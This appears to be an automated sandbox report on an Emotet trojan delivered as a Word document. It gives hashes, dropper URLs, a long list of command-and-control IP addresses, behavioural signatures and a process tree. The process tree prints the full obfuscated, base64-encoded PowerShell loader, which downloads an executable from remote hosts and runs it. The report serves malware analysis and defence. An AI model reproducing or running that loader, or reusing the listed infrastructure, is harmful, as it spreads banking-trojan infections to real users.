emotet | 111272b4f9fa36b17efc27ee4685f0300764cbf2aa0f028174a6d6f249393844

General

Target
UNTITLED-2020_10_01-ST988515.doc
Size 124KB
Sample200930-6vbgs66f16
SHA256 111272b4f9fa36b17efc27ee4685f0300764cbf2aa0f028174a6d6f249393844
MD5 e0cfb1a28ef6044bf8980f30a598fcfa
SHA1 f753b7075657c6dab6b0b88e07a955e31f02827c
SHA512 6964551a0e5c8fbc6272fc52bf125bf3da247f4735397c30e6b0885d573e0fcf4221284894a246c04e94effab17c78ec924c78e9d8140f0a88a62f42f45a86da
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://movewithketty.com/cgi-bin/LXr/
exe.dropper
http://pixnbeats.com/chanakua.org/6/
exe.dropper
http://trainingbodies.com/Reporting/YR/
exe.dropper
http://voxdream.com/wp-includes/0Oj/
exe.dropper
https://travcalls.com/blogs/E/
exe.dropper
http://aeropilates.cl/wp-content/rNM/
exe.dropper
http://hesa.co.id/_errorpages/1x/

Extracted

Family

emotet

C2

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1772	632	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3700-12-0x00000000005E0000-0x00000000005F2000-memory.dmp	emotet
behavioral2/memory/3700-13-0x0000000000540000-0x0000000000550000-memory.dmp	emotet
behavioral2/memory/1732-16-0x0000000000470000-0x0000000000482000-memory.dmp	emotet
behavioral2/memory/1732-17-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1772	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3700	Eqfkis.exe
1732	C_ISCII.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Phoneutil\C_ISCII.exe	Eqfkis.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3704	WINWORD.EXE
3704	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1772	POwersheLL.exe
1772	POwersheLL.exe
1772	POwersheLL.exe
1732	C_ISCII.exe
1732	C_ISCII.exe
1732	C_ISCII.exe
1732	C_ISCII.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3700	Eqfkis.exe
1732	C_ISCII.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 3700	1772	POwersheLL.exe	78
PID 1772 wrote to memory of 3700	1772	POwersheLL.exe	78
PID 1772 wrote to memory of 3700	1772	POwersheLL.exe	78
PID 3700 wrote to memory of 1732	3700	Eqfkis.exe	81
PID 3700 wrote to memory of 1732	3700	Eqfkis.exe	81
PID 3700 wrote to memory of 1732	3700	Eqfkis.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UNTITLED-2020_10_01-ST988515.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3704

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABXAHIAaQBlAGcAZQBhAD0AKAAoACcAVABsACcAKwAnAGYAJwApACsAKAAnAHkAMAAnACsAJwA0ADUAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcABSAE8AZgBpAEwAZQBcAHAAdABoAGkAeABfAFYAXABPAFMAZwA1AFYAawByAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAFUAcgBJAGAAVABZAFAAUgBvAHQAYABvAEMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAJwApACsAKAAnADEAJwArACcAMgAsACcAKQArACcAIAB0ACcAKwAnAGwAJwArACgAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEUAZQBwAHMAbQA0ADAAIAA9ACAAKAAoACcARQBxACcAKwAnAGYAJwApACsAKAAnAGsAaQAnACsAJwBzACcAKQApADsAJABDAHoAdQBsAGQAbwB5AD0AKAAnAFgAJwArACgAJwB5ADYAJwArACcAdwA3AHUAJwApACsAJwA1ACcAKQA7ACQAQwBqADIANwB3AHUAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE4AJwArACcAdABjACcAKQArACgAJwBQAHQAaABpACcAKwAnAHgAJwArACcAXwB2ACcAKQArACcATgB0ACcAKwAnAGMATwAnACsAJwBzAGcAJwArACgAJwA1AHYAJwArACcAawAnACkAKwAnAHIATgAnACsAJwB0AGMAJwApAC4AIgByAGAARQBwAEwAQQBjAEUAIgAoACgAJwBOAHQAJwArACcAYwAnACkALABbAHMAVAByAGkATgBnAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQARQBlAHAAcwBtADQAMAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQATABzADMAcwBsADUAOAA9ACgAKAAnAFQAJwArACcAeQBiAHgAZgAnACkAKwAnAGUAZwAnACkAOwAkAFoAdwA5AGwAbwA4AGEAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBsAGkARQBOAHQAOwAkAEEAaQBkAGwAMwBuAGsAPQAoACcAaAAnACsAKAAnAHQAdABwADoAJwArACcALwAvAG0AbwAnACkAKwAnAHYAJwArACgAJwBlAHcAJwArACcAaQB0AGgAJwArACcAawAnACkAKwAoACcAZQB0ACcAKwAnAHQAeQAnACkAKwAnAC4AJwArACcAYwAnACsAKAAnAG8AJwArACcAbQAvAGMAJwApACsAKAAnAGcAaQAtACcAKwAnAGIAJwApACsAJwBpAG4AJwArACcALwBMACcAKwAnAFgAJwArACcAcgAnACsAKAAnAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBwACcAKQArACgAJwBpAHgAJwArACcAbgBiACcAKQArACgAJwBlAGEAdABzAC4AJwArACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AYwAnACsAJwBoAGEAbgAnACkAKwAoACcAYQBrAHUAYQAuAG8AJwArACcAcgBnACcAKwAnAC8AJwArACcANgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB0AHIAJwApACsAKAAnAGEAJwArACcAaQBuACcAKQArACcAaQBuACcAKwAnAGcAJwArACgAJwBiAG8AJwArACcAZABpACcAKQArACgAJwBlAHMALgBjAG8AbQAnACsAJwAvACcAKQArACcAUgAnACsAKAAnAGUAcABvAHIAJwArACcAdABpACcAKQArACgAJwBuACcAKwAnAGcALwBZACcAKQArACcAUgAvACcAKwAoACcAKgBoAHQAJwArACcAdABwACcAKQArACgAJwA6ACcAKwAnAC8ALwB2ACcAKwAnAG8AeAAnACkAKwAnAGQAcgAnACsAJwBlACcAKwAoACcAYQBtACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwAC0AaQBuACcAKwAnAGMAJwArACcAbAAnACkAKwAoACcAdQBkAGUAcwAvACcAKwAnADAAJwApACsAJwBPACcAKwAnAGoALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAcwA6AC8AJwArACcALwB0ACcAKwAnAHIAYQB2ACcAKQArACcAYwBhACcAKwAnAGwAJwArACgAJwBsAHMALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACgAJwBiAGwAbwAnACsAJwBnAHMALwAnACkAKwAoACcARQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AYQBlACcAKQArACcAcgBvACcAKwAoACcAcAAnACsAJwBpAGwAYQAnACkAKwAnAHQAZQAnACsAJwBzAC4AJwArACgAJwBjACcAKwAnAGwALwAnACkAKwAnAHcAJwArACcAcAAnACsAJwAtAGMAJwArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AJwArACcAdAAvAHIATgBNAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwBoAGUAJwArACcAcwAnACkAKwAoACcAYQAuACcAKwAnAGMAbwAnACsAJwAuAGkAJwArACcAZAAvAF8AZQByACcAKQArACcAcgAnACsAJwBvAHIAJwArACgAJwBwACcAKwAnAGEAZwAnACkAKwAoACcAZQBzAC8AJwArACcAMQAnACkAKwAnAHgALwAnACkALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgB4AGUAcQB3ADUAOAA9ACgAKAAnAEIAZQAnACsAJwBpACcAKQArACgAJwBfAGUAJwArACcAZwAnACkAKwAnADAAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWABlADQAMgA0AHAAMQAgAGkAbgAgACQAQQBpAGQAbAAzAG4AawApAHsAdAByAHkAewAkAFoAdwA5AGwAbwA4AGEALgAiAEQAYABPAGAAVwBuAEwAbwBBAGQAZgBpAGwAZQAiACgAJABYAGUANAAyADQAcAAxACwAIAAkAEMAagAyADcAdwB1AHMAKQA7ACQASgBrAHoAMwByAF8AcwA9ACgAJwBUACcAKwAnAG4AdQAnACsAKAAnAHAAJwArACcAbgBhAGIAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAQwBqADIANwB3AHUAcwApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMANQA2ADEAMQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABDAGoAMgA3AHcAdQBzACkAOwAkAE4AaQBpAHAAbwB1AHgAPQAoACcAUwAnACsAKAAnAHAAJwArACcAaAB3ADkAJwApACsAJwBkAHYAJwApADsAYgByAGUAYQBrADsAJABMAGwANwBwAG8ANgBvAD0AKAAnAFcAeQAnACsAKAAnAGoAagByACcAKwAnAHoAJwApACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABzAHYAOQAyAGYAMAA9ACgAJwBCAGcAJwArACgAJwAyAHYAawAnACsAJwB5ADUAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Users\Admin\Pthix_v\Osg5vkr\Eqfkis.exe
  "C:\Users\Admin\Pthix_v\Osg5vkr\Eqfkis.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\SysWOW64\Phoneutil\C_ISCII.exe
    "C:\Windows\SysWOW64\Phoneutil\C_ISCII.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1732-17-0x00000000004A0000-0x00000000004B0000-memory.dmp

Download

memory/1732-16-0x0000000000470000-0x0000000000482000-memory.dmp

Download

memory/1772-6-0x00007FFF524A0000-0x00007FFF52E8C000-memory.dmp

Download

memory/1772-7-0x000001E1E7620000-0x000001E1E7621000-memory.dmp

Download

memory/1772-8-0x000001E1FF920000-0x000001E1FF921000-memory.dmp

Download

memory/3700-12-0x00000000005E0000-0x00000000005F2000-memory.dmp

Download

memory/3700-13-0x0000000000540000-0x0000000000550000-memory.dmp

Download

memory/3704-5-0x000001F6C494C000-0x000001F6C494D000-memory.dmp

Download

memory/3704-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

Download

memory/3704-4-0x000001F6C494D000-0x000001F6C494E000-memory.dmp

Download

memory/3704-3-0x000001F6C4948000-0x000001F6C494C000-memory.dmp

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memory/3704-2-0x000001F6C494E000-0x000001F6C4950000-memory.dmp

Download

memory/3704-1-0x000001F6C47BA000-0x000001F6C47F0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads